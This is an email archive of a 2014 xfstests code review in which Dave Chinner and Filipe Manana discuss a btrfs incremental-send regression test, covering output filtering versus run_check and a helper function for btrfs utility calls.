>> + rm -fr $tmp > >> +} > >> + > >> +# get standard environment, filters and checks > >> +. ./common/rc > >> +. ./common/filter > >> + > >> +# real QA test starts here > >> +_supported_fs btrfs > >> +_supported_os Linux > >> +_require_scratch > >> +_need_to_be_root > >> + > >> +FSSUM_PROG=$here/src/fssum > >> +[ -x $FSSUM_PROG ] || _notrun "fssum not built" > >> + > >> +rm -f $seqres.full > >> + > >> +_scratch_mkfs >/dev/null 2>&1 > >> +_scratch_mount "-o compress-force=lzo" > >> + > >> +run_check $XFS_IO_PROG -f -c "truncate 118811" $SCRATCH_MNT/foo > >> +run_check $XFS_IO_PROG -c "pwrite -S 0x0d -b 39987 92267 39987" \ > >> + $SCRATCH_MNT/foo > > > > Ugh. filter the output, don't use run_check. > > > > $XFS_IO_PROG -f -c "truncate 118811" $SCRATCH_MNT/foo > > $XFS_IO_PROG -c "pwrite -S 0x0d -b 39987 92267 39987" \ > > $SCRATCH_MNT/foo | _filter_xfs_io > > > > If something fails, we still want the test to continue running, even > > if all it does is exercise error handling paths. run_check simply > > terminates the test at the first failure. > > What's the point of continuing? The test will fail anyway, all of the > xfs_io calls are necessary to trigger the bug. Users don't stop doing doing stuff on a filesystem when a single failure occurs, so why should the tests? If you stop the moment a single failure occurs then you aren't ever going to stress the error handling paths, are you? > > _run_btrfs_util_prog() > > { > > run_check $BTRFS_UTIL_PROG $* > > } > > > > would be a good start because it gets that run_check pattern out of > > the main test scripts and hence out of the heads of test writers. > > Well, will get rid of those run_check calls, but that will imply > adding some | _filter_scratch in many places. So shortening lines is > not a great argument :) I'm not talking about shortening lines here. I'm talking about the correct principles and conceptsi being in the forefront of a test writer's mind. Having the concept of "need to filter the output" in the head of test writers is *exactly* the right mindset to have. Indeed, if you have a block of code that needs common filtering, that's easy to do: do_test() { # put test in function } do_test | _filter_scratch Will apply that filter to the entire output of the test, and so you don't need it on every command. Remember - an xfstest is not a "pass/fail" test. It's a "run this set of commands, and then check the entire output matches the known good output" test. i.e. we are testing the entire set of commands as a whole - we are not testing each individual command that is run. It's a very different principle to the "test every command that can fail" method of writing tests. _fail should only be used if the test cannot possibly be continued (e.g. scratch filesystem corrupted and cannot be mounted). If one of the early commands fails, then that's fine - the test will fail - but we still want to run the other commands if we can so as to get the best test coverage we can get even on failed tests. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Feb 16 19:19:38 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5CF867F66 for ; Sun, 16 Feb 2014 19:19:38 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id E1301AC05D for ; Sun, 16 Feb 2014 17:19:34 -0800 (PST) X-ASG-Debug-ID: 1392599972-04bdf00fc964440001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id UDdGSgMexSNGXAQm for ; Sun, 16 Feb 2014 17:19:33 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AoQJAEBjAVN5LJYe/2dsb2JhbABZgwaDP7c5hVCBDxd0giUBAQQBOhwjBQsIAxgJJQ8FDRgDIROHcQMJB8IrDYgPFxaMUYIaB4MkgRQElkCBa4xfhUWDQSg Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 17 Feb 2014 11:49:32 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WFCrp-00046H-GC; Mon, 17 Feb 2014 12:19:29 +1100 Date: Mon, 17 Feb 2014 12:19:29 +1100 From: Dave Chinner To: Filipe David Borba Manana Cc: xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Subject: Re: [PATCH v3] xfstests: add regression test for btrfs incremental send Message-ID: <20140217011929.GA13997@dastard> X-ASG-Orig-Subj: Re: [PATCH v3] xfstests: add regression test for btrfs incremental send References: <1392408522-764-1-git-send-email-fdmanana@gmail.com> <1392596438-6509-1-git-send-email-fdmanana@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1392596438-6509-1-git-send-email-fdmanana@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1392599972 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Feb 17, 2014 at 12:20:38AM +0000, Filipe David Borba Manana wrote: > Test for a btrfs incremental send issue where we end up sending a > wrong section of data from a file extent if the corresponding file > extent is compressed and the respective file extent item has a non > zero data offset. > > Fixed by the following linux kernel btrfs patch: > > Btrfs: use right clone root offset for compressed extents > > Signed-off-by: Filipe David Borba Manana > --- > > V2: Made the test more reliable. Now it doesn't depend anymore of btrfs' > hole punch implementation leaving hole file extent items when we punch > beyond the file's current size. > V3: Filter xfs_io output and make less use of the run_check function, as > suggested by Dave Chinner. Awesome. Thanks for the quick turn around. > common/rc | 5 +++ > tests/btrfs/040 | 119 +++++++++++++++++++++++++++++++++++++++++++++++++++ > tests/btrfs/040.out | 9 ++++ > tests/btrfs/group | 1 + > 4 files changed, 134 insertions(+) > create mode 100755 tests/btrfs/040 > create mode 100644 tests/btrfs/040.out > > diff --git a/common/rc b/common/rc > index e91568b..27be009 100644 > --- a/common/rc > +++ b/common/rc > @@ -2207,6 +2207,11 @@ run_check() > "$@" >> $seqres.full 2>&1 || _fail "failed: '$@'" > } > > +_run_btrfs_util_prog() > +{ > + run_check $BTRFS_UTIL_PROG $* > +} Can you do a cleanup of all the other btrfs tests that can use this? Cheers, Dave. -- Dave Chinner david@fromorbit.com From fdmanana@gmail.com Sun Feb 16 19:32:45 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3DE637F6C for ; Sun, 16 Feb 2014 19:32:45 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1B16C304043 for ; Sun, 16 Feb 2014 17:32:45 -0800 (PST) X-ASG-Debug-ID: 1392600762-04cbb00c2a496530001-NocioJ Received: from mail-bk0-f43.google.com (mail-bk0-f43.google.com [209.85.214.43]) by cuda.sgi.com with ESMTP id QzDoVFMhraBfmrbR (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 16 Feb 2014 17:32:43 -0800 (PST) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.214.43 X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.43] Received: by mail-bk0-f43.google.com with SMTP id mx12so760718bkb.30 for ; Sun, 16 Feb 2014 17:32:41 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.43] X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.43] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:reply-to:in-reply-to:references:date:message-id :subject:from:to:cc:content-type; bh=93oUadUfiHECy8jRh+zQELzsYHDAVLn5PET+r3OB2Ts=; b=ZRzgwOnRaZ8leEtcm10JxoZQwq9Xo7HtRfW0u5X8kaX9ArrAhZS7VfBCfljbmyRdNB NKPs2Z2hhZ+EHwDAnzDO9Xne4//WNLtUEsHr0jZOKJMFINyTddJ96Vb2cU0+OxGmllL4 1h/tvb0v6YAD+KF2MPntL0swUYj53DJoKRgxwxa+3RiBbh3L9q8rf5+nsuhS0YymRKpo eT4AWZKF/LlixQmIHcl257+rZertlM6Ng0DLhVARNLgmmDORyv0+pT1EN/4wGhBVTEe7 M9Fj+NU5/YXjowj5IugmfjPE/7r6kFFoJKSHaOwLaPfCXJkEmofYMYhJXAK5Ga4huIoc PwcA== MIME-Version: 1.0 X-Received: by 10.204.164.70 with SMTP id d6mr41008bky.106.1392600761656; Sun, 16 Feb 2014 17:32:41 -0800 (PST) Received: by 10.204.69.197 with HTTP; Sun, 16 Feb 2014 17:32:41 -0800 (PST) Reply-To: fdmanana@gmail.com In-Reply-To: <20140217011714.GZ13997@dastard> References: <1392408522-764-1-git-send-email-fdmanana@gmail.com> <1392478573-4513-1-git-send-email-fdmanana@gmail.com> <20140216230851.GX13647@dastard> <20140217011714.GZ13997@dastard> Date: Mon, 17 Feb 2014 01:32:41 +0000 Message-ID: Subject: Re: [PATCH] xfstests: add regression test for btrfs incremental send From: Filipe David Manana X-ASG-Orig-Subj: Re: [PATCH] xfstests: add regression test for btrfs incremental send To: Dave Chinner Cc: "xfs@oss.sgi.com" , "linux-btrfs@vger.kernel.org" Content-Type: multipart/alternative; boundary=bcaec52c63dfb6963004f290215b X-Barracuda-Connect: mail-bk0-f43.google.com[209.85.214.43] X-Barracuda-Start-Time: 1392600762 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.20 X-Barracuda-Spam-Status: No, SCORE=0.20 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA038b, DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145192 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message 0.20 BSF_SC0_SA038b Custom Rule SA038b --bcaec52c63dfb6963004f290215b Content-Type: text/plain; charset=UTF-8 On Monday, February 17, 2014, Dave Chinner wrote: > On Sun, Feb 16, 2014 at 11:43:17PM +0000, Filipe David Manana wrote: > > On Sun, Feb 16, 2014 at 11:08 PM, Dave Chinner > wrote: > > > On Sat, Feb 15, 2014 at 03:36:13PM +0000, Filipe David Borba Manana > wrote: > > >> Test for a btrfs incremental send issue where we end up sending a > > >> wrong section of data from a file extent if the corresponding file > > >> extent is compressed and the respective file extent item has a non > > >> zero data offset. > > >> > > >> Fixed by the following linux kernel btrfs patch: > > >> > > >> Btrfs: use right clone root offset for compressed extents > > >> > > >> Signed-off-by: Filipe David Borba Manana > > >> --- > > >> > > >> V2: Made the test more reliable. Now it doesn't depend anymore of > btrfs' > > >> hole punch implementation leaving hole file extent items when we > punch > > >> beyond the file's current size. > > >> > > >> tests/btrfs/040 | 115 > +++++++++++++++++++++++++++++++++++++++++++++++++++ > > >> tests/btrfs/040.out | 1 + > > >> tests/btrfs/group | 1 + > > >> 3 files changed, 117 insertions(+) > > >> create mode 100755 tests/btrfs/040 > > >> create mode 100644 tests/btrfs/040.out > > >> > > >> diff --git a/tests/btrfs/040 b/tests/btrfs/040 > > >> new file mode 100755 > > >> index 0000000..d6b37bf > > >> --- /dev/null > > >> +++ b/tests/btrfs/040 > > >> @@ -0,0 +1,115 @@ > > >> +#! /bin/bash > > >> +# FS QA Test No. btrfs/040 > > >> +# > > >> +# Test for a btrfs incremental send issue where we end up sending a > > >> +# wrong section of data from a file extent if the corresponding file > > >> +# extent is compressed and the respective file extent item has a non > > >> +# zero data offset. > > >> +# > > >> +# Fixed by the following linux kernel btrfs patch: > > >> +# > > >> +# Btrfs: use right clone root offset for compressed extents > > >> +# > > >> > +#----------------------------------------------------------------------- > > >> +# Copyright (c) 2014 Filipe Manana. All Rights Reserved. > > >> +# > > >> +# This program is free software; you can redistribute it and/or > > >> +# modify it under the terms of the GNU General Public License as > > >> +# published by the Free Software Foundation. > > >> +# > > >> +# This program is distributed in the hope that it would be useful, > > >> +# but WITHOUT ANY WARRANTY; without even the implied warranty of > > >> +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the > > >> +# GNU General Public License for more details. > > >> +# > > >> +# You should have received a copy of the GNU General Public License > > >> +# along with this program; if not, write the Free Software > Foundation, > > >> +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > > >> > +#----------------------------------------------------------------------- > > >> +# > > >> + > > >> +seq=`basename $0` > > >> +seqres=$RESULT_DIR/$seq > > >> +echo "QA output created by $seq" > > >> + > > >> +here=`pwd` > > >> +tmp=`mktemp -d` > > >> +status=1 # failure is the default! > > >> +trap "_cleanup; exit \$status" 0 1 2 3 15 > > >> + > > >> +_cleanup() > > >> +{ > > >> + rm -fr $tmp > > >> +} > > >> + > > >> +# get standard environment, filters and checks > > >> +. ./common/rc > > >> +. ./common/filter > > >> + > > >> +# real QA test starts here > > >> +_supported_fs btrfs > > >> +_supported_os Linux > > >> +_require_scratch > > >> +_need_to_be_root > > >> + > > >> +FSSUM_PROG=$here/src/fssum > > >> +[ -x $FSSUM_PROG ] || _notrun "fssum not built" > > >> + > > >> +rm -f $seqres.full > Users don't stop doing doing stuff on a filesystem when a single > failure occurs, so why should the tests? If you stop the moment a > single failure occurs then you aren't ever going to stress the error > handling paths, are you? > > > > _run_btrfs_util_prog() > > > { > > > run_check $BTRFS_UTIL_PROG $* > > > } > > > > > > would be a good start because it gets that run_check pattern out of > > > the main test scripts and hence out of the heads of test writers. > > > > Well, will get rid of those run_check calls, but that will imply > > adding some | _filter_scratch in many places. So shortening lines is > > not a great argument :) > > I'm not talking about shortening lines here. I'm talking about the > correct principles and conceptsi being in the forefront of a test > writer's mind. Having the concept of "need to filter the output" in > the head of test writers is *exactly* the right mindset to have. > > Indeed, if you have a block of code that needs common filtering, > that's easy to do: > > do_test() > { > # put test in function > } > > do_test | _filter_scratch > > Will apply that filter to the entire output of the test, and so > you don't need it on every command. > > Remember - an xfstest is not a "pass/fail" test. It's a "run this > set of commands, and then check the entire output matches the known > good output" test. i.e. we are testing the entire set of commands as > a whole - we are not testing each individual command that is run. > It's a very different principle to the "test every command that can > fail" method of writing tests. > > _fail should only be used if the test cannot possibly be continued > (e.g. scratch filesystem corrupted and cannot be mounted). If one > of the early commands fails, then that's fine - the test will fail - > but we still want to run the other commands if we can so as to get > the best test coverage we can get even on failed tests. Thanks for the detailed explanation Dave, very useful :) > > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com > -- Filipe David Manana, "Reasonable men adapt themselves to the world. Unreasonable men adapt the world to themselves. That's why all progress depends on unreasonable men." --bcaec52c63dfb6963004f290215b Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: quoted-printable

On Monday, February 17, 2014, Dave Chinner <david@fromorbit.com> wrote:
On Sun, Feb 16, 2014 at 11:43:17PM +0000, Filipe David Manana wrote:
> On Sun, Feb 16, 2014 at 11:08 PM, Dave Chinner <david@fromorbit.= com> wrote:
> > On Sat, Feb 15, 2014 at 03:36:13PM +0000, Filipe David Borba Mana= na wrote:
> >> Test for a btrfs incremental send issue where we end up sendi= ng a
> >> wrong section of data from a file extent if the corresponding= file
> >> extent is compressed and the respective file extent item has = a non
> >> zero data offset.
> >>
> >> Fixed by the following linux kernel btrfs patch:
> >>
> >> =C2=A0 =C2=A0Btrfs: use right clone root offset for compresse= d extents
> >>
> >> Signed-off-by: Filipe David Borba Manana <fdmanana@gmai= l.com>
> >> ---
> >>
> >> V2: Made the test more reliable. Now it doesn't depend an= ymore of btrfs'
> >> =C2=A0 =C2=A0 hole punch implementation leaving hole file ext= ent items when we punch
> >> =C2=A0 =C2=A0 beyond the file's current size.
> >>
> >> =C2=A0tests/btrfs/040 =C2=A0 =C2=A0 | =C2=A0115 +++++++++++++= ++++++++++++++++++++++++++++++++++++++
> >> =C2=A0tests/btrfs/040.out | =C2=A0 =C2=A01 +
> >> =C2=A0tests/btrfs/group =C2=A0 | =C2=A0 =C2=A01 +
> >> =C2=A03 files changed, 117 insertions(+)
> >> =C2=A0create mode 100755 tests/btrfs/040
> >> =C2=A0create mode 100644 tests/btrfs/040.out
> >>
> >> diff --git a/tests/btrfs/040 b/tests/btrfs/040
> >> new file mode 100755
> >> index 0000000..d6b37bf
> >> --- /dev/null
> >> +++ b/tests/btrfs/040
> >> @@ -0,0 +1,115 @@
> >> +#! /bin/bash
> >> +# FS QA Test No. btrfs/040
> >> +#
> >> +# Test for a btrfs incremental send issue where we end up se= nding a
> >> +# wrong section of data from a file extent if the correspond= ing file
> >> +# extent is compressed and the respective file extent item h= as a non
> >> +# zero data offset.
> >> +#
> >> +# Fixed by the following linux kernel btrfs patch:
> >> +#
> >> +# =C2=A0 Btrfs: use right clone root offset for compressed e= xtents
> >> +#
> >> +#-----------------------------------------------------------= ------------
> >> +# Copyright (c) 2014 Filipe Manana. =C2=A0All Rights Reserve= d.
> >> +#
> >> +# This program is free software; you can redistribute it and= /or
> >> +# modify it under the terms of the GNU General Public Licens= e as
> >> +# published by the Free Software Foundation.
> >> +#
> >> +# This program is distributed in the hope that it would be u= seful,
> >> +# but WITHOUT ANY WARRANTY; without even the implied warrant= y of
> >> +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. =C2= =A0See the
> >> +# GNU General Public License for more details.
> >> +#
> >> +# You should have received a copy of the GNU General Public = License
> >> +# along with this program; if not, write the Free Software F= oundation,
> >> +# Inc., =C2=A051 Franklin St, Fifth Floor, Boston, MA =C2=A0= 02110-1301 =C2=A0USA
> >> +#-----------------------------------------------------------= ------------
> >> +#
> >> +
> >> +seq=3D`basename $0`
> >> +seqres=3D$RESULT_DIR/$seq
> >> +echo "QA output created by $seq"
> >> +
> >> +here=3D`pwd`
> >> +tmp=3D`mktemp -d`
> >> +status=3D1 =C2=A0 =C2=A0 # failure is the default!
> >> +trap "_cleanup; exit \$status" 0 1 2 3 15
> >> +
> >> +_cleanup()
> >> +{
> >> + =C2=A0 =C2=A0rm -fr $tmp
> >> +}
> >> +
> >> +# get standard environment, filters and checks
> >> +. ./common/rc
> >> +. ./common/filter
> >> +
> >> +# real QA test starts here
> >> +_supported_fs btrfs
> >> +_supported_os Linux
> >> +_require_scratch
> >> +_need_to_be_root
> >> +
> >> +FSSUM_PROG=3D$here/src/fssum
> >> +[ -x $FSSUM_PROG ] || _notrun "fssum not built" > >> +
> >> +rm -f $seqres.full
Users don't stop doing doing stuff= on a filesystem when a single
failure occurs, so why should the tests? If you stop the moment a
single failure occurs then you aren't ever going to stress the error handling paths, are you?

> > _run_btrfs_util_prog()
> > {
> > =C2=A0 =C2=A0 =C2=A0 =C2=A0 run_check $BTRFS_UTIL_PROG $*
> > }
> >
> > would be a good start because it gets that run_check pattern out = of
> > the main test scripts and hence out of the heads of test writers.=
>
> Well, will get rid of those run_check calls, but that will imply
> adding some | _filter_scratch in many places. So shortening lines is > not a great argument :)

I'm not talking about shortening lines here. I'm talking about the<= br> correct principles and conceptsi being in the forefront of a test
writer's mind. Having the concept of "need to filter the output&qu= ot; in
the head of test writers is *exactly* the right mindset to have.

Indeed, if you have a block of code that needs common filtering,
that's easy to do:

do_test()
{
=C2=A0 =C2=A0 =C2=A0 =C2=A0 # put test in function
}

do_test | _filter_scratch

Will apply that filter to the entire output of the test, and so
you don't need it on every command.

Remember - an xfstest is not a "pass/fail" test. It's a "= ;run this
set of commands, and then check the entire output matches the known
good output" test. i.e. we are testing the entire set of commands as a whole - we are not testing each individual command that is run.
It's a very different principle to the "test every command that ca= n
fail" method of writing tests.

_fail should only be used if the test cannot possibly be continued
(e.g. scratch filesystem corrupted and cannot be mounted). =C2=A0If one
of the early commands fails, then that's fine - the test will fail - but we still want to run the other commands if we can so as to get
the best test coverage we can get even on failed tests.
Thanks for the detailed explanation Dave, very useful :)
=

=C2=A0

Cheers,

Dave.
--
Dave Chinner
david@fromorbit.com


--
Filipe David Manana,

"Reasonable me= n adapt themselves to the world.
=C2=A0Unreasonable men adapt the world = to themselves.
=C2=A0That's why all progress depends on unreasonable= men."

--bcaec52c63dfb6963004f290215b-- From fdmanana@gmail.com Sun Feb 16 19:36:07 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E34747F6C for ; Sun, 16 Feb 2014 19:36:06 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6D2C8AC065 for ; Sun, 16 Feb 2014 17:36:06 -0800 (PST) X-ASG-Debug-ID: 1392600963-04bdf00fc965130001-NocioJ Received: from mail-bk0-f53.google.com (mail-bk0-f53.google.com [209.85.214.53]) by cuda.sgi.com with ESMTP id wzBuYeL5p4xFtOll (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 16 Feb 2014 17:36:04 -0800 (PST) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.214.53 X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.53] Received: by mail-bk0-f53.google.com with SMTP id my13so4027553bkb.12 for ; Sun, 16 Feb 2014 17:36:03 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.53] X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.53] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:reply-to:in-reply-to:references:date:message-id :subject:from:to:cc:content-type; bh=a7ojc8zXlkdwVTJ0+gBvqGPYgM9KwIOa7A5QG8zkwp0=; b=mfZLhW1lPfEpHSy+76xZWha7uE47aYllRcS0XvUSLjbWBYQ8JWf416iG4Y/w6vUN3t PuQ6VJkORv3RHazCk7nO8J4F+us0EYAq5ZVPcF7y3zcGEK53aVCaP14Tcc3XjKjkMBDE YNTEpMiNZ1OVyr8AalYby899V1IcXzb5Y8gS1zvupRyR5N6/Z5/AkJxAcfJgIdTQayZA sTMq9HEB9Da7p6otyO2U+TyjD3WG/11fYGNL5c55gM7xKkOzC89uHo8YwQUtfs8N9o33 tfIuERbanZiZwND1fNekWYsm+EBKGUsrDxtzKPlMncVlMPVEjWirhw4KuLqO1Pe5rgBC 8oWA== MIME-Version: 1.0 X-Received: by 10.204.2.133 with SMTP id 5mr70548bkj.78.1392600963038; Sun, 16 Feb 2014 17:36:03 -0800 (PST) Received: by 10.204.69.197 with HTTP; Sun, 16 Feb 2014 17:36:02 -0800 (PST) Reply-To: fdmanana@gmail.com In-Reply-To: <20140217011929.GA13997@dastard> References: <1392408522-764-1-git-send-email-fdmanana@gmail.com> <1392596438-6509-1-git-send-email-fdmanana@gmail.com> <20140217011929.GA13997@dastard> Date: Mon, 17 Feb 2014 01:36:02 +0000 Message-ID: Subject: Re: [PATCH] xfstests: add regression test for btrfs incremental send From: Filipe David Manana X-ASG-Orig-Subj: Re: [PATCH] xfstests: add regression test for btrfs incremental send To: Dave Chinner Cc: "xfs@oss.sgi.com" , "linux-btrfs@vger.kernel.org" Content-Type: multipart/alternative; boundary=047d7b873f16b76d4804f2902dd3 X-Barracuda-Connect: mail-bk0-f53.google.com[209.85.214.53] X-Barracuda-Start-Time: 1392600964 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.20 X-Barracuda-Spam-Status: No, SCORE=0.20 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA038b, DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145192 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message 0.20 BSF_SC0_SA038b Custom Rule SA038b --047d7b873f16b76d4804f2902dd3 Content-Type: text/plain; charset=UTF-8 On Monday, February 17, 2014, Dave Chinner wrote: > On Mon, Feb 17, 2014 at 12:20:38AM +0000, Filipe David Borba Manana wrote: > > Test for a btrfs incremental send issue where we end up sending a > > wrong section of data from a file extent if the corresponding file > > extent is compressed and the respective file extent item has a non > > zero data offset. > > > > Fixed by the following linux kernel btrfs patch: > > > > Btrfs: use right clone root offset for compressed extents > > > > Signed-off-by: Filipe David Borba Manana > > > > --- > > > > V2: Made the test more reliable. Now it doesn't depend anymore of btrfs' > > hole punch implementation leaving hole file extent items when we > punch > > beyond the file's current size. > > V3: Filter xfs_io output and make less use of the run_check function, as > > suggested by Dave Chinner. > > Awesome. Thanks for the quick turn around. > > > common/rc | 5 +++ > > tests/btrfs/040 | 119 > +++++++++++++++++++++++++++++++++++++++++++++++++++ > > tests/btrfs/040.out | 9 ++++ > > tests/btrfs/group | 1 + > > 4 files changed, 134 insertions(+) > > create mode 100755 tests/btrfs/040 > > create mode 100644 tests/btrfs/040.out > > > > diff --git a/common/rc b/common/rc > > index e91568b..27be009 100644 > > --- a/common/rc > > +++ b/common/rc > > @@ -2207,6 +2207,11 @@ run_check() > > "$@" >> $seqres.full 2>&1 || _fail "failed: '$@'" > > } > > > > +_run_btrfs_util_prog() > > +{ > > + run_check $BTRFS_UTIL_PROG $* > > +} > > Can you do a cleanup of all the other btrfs tests that can use this? Ok. I just did that for all the test cases not yet merged, as you probably noticed already. For the ones already in the repository, I'll see if I can do it soon this coming week. Thanks > > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com > -- Filipe David Manana, "Reasonable men adapt themselves to the world. Unreasonable men adapt the world to themselves. That's why all progress depends on unreasonable men." --047d7b873f16b76d4804f2902dd3 Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: quoted-printable

On Monday, February 17, 2014, Dave Chinner <david@fromorbit.com> wrote:
On Mon, Feb 17, 2014 at 12:20:38AM +0000, Filipe David Borba Manana wrote:<= br> > Test for a btrfs incremental send issue where we end up sending a
> wrong section of data from a file extent if the corresponding file
> extent is compressed and the respective file extent item has a non
> zero data offset.
>
> Fixed by the following linux kernel btrfs patch:
>
> =C2=A0 =C2=A0Btrfs: use right clone root offset for compressed extents=
>
> Signed-off-by: Filipe David Borba Manana <fdmanan= a@gmail.com>
> ---
>
> V2: Made the test more reliable. Now it doesn't depend anymore of = btrfs'
> =C2=A0 =C2=A0 hole punch implementation leaving hole file extent items= when we punch
> =C2=A0 =C2=A0 beyond the file's current size.
> V3: Filter xfs_io output and make less use of the run_check function, = as
> =C2=A0 =C2=A0 suggested by Dave Chinner.

Awesome. Thanks for the quick turn around.

> =C2=A0common/rc =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 | =C2=A0 =C2=A05 ++= +
> =C2=A0tests/btrfs/040 =C2=A0 =C2=A0 | =C2=A0119 ++++++++++++++++++++++= +++++++++++++++++++++++++++++
> =C2=A0tests/btrfs/040.out | =C2=A0 =C2=A09 ++++
> =C2=A0tests/btrfs/group =C2=A0 | =C2=A0 =C2=A01 +
> =C2=A04 files changed, 134 insertions(+)
> =C2=A0create mode 100755 tests/btrfs/040
> =C2=A0create mode 100644 tests/btrfs/040.out
>
> diff --git a/common/rc b/common/rc
> index e91568b..27be009 100644
> --- a/common/rc
> +++ b/common/rc
> @@ -2207,6 +2207,11 @@ run_check()
> =C2=A0 =C2=A0 =C2=A0 "$@" >> $seqres.full 2>&1 = || _fail "failed: '$@'"
> =C2=A0}
>
> +_run_btrfs_util_prog()
> +{
> + =C2=A0 =C2=A0 run_check $BTRFS_UTIL_PROG $*
> +}

Can you do a cleanup of all the other btrfs tests that can use this?

Ok. I just did=C2=A0that for all the test cases n= ot yet merged, as you probably noticed already.
For the ones alre= ady in the repository, I'll see if I can do it soon this coming week.

Thanks
=C2=A0

Cheers,

Dave.
--
Dave Chinner
david@fromorbit.com


--
Filipe David Manana,

"Reasonable me= n adapt themselves to the world.
=C2=A0Unreasonable men adapt the world = to themselves.
=C2=A0That's why all progress depends on unreasonable= men."

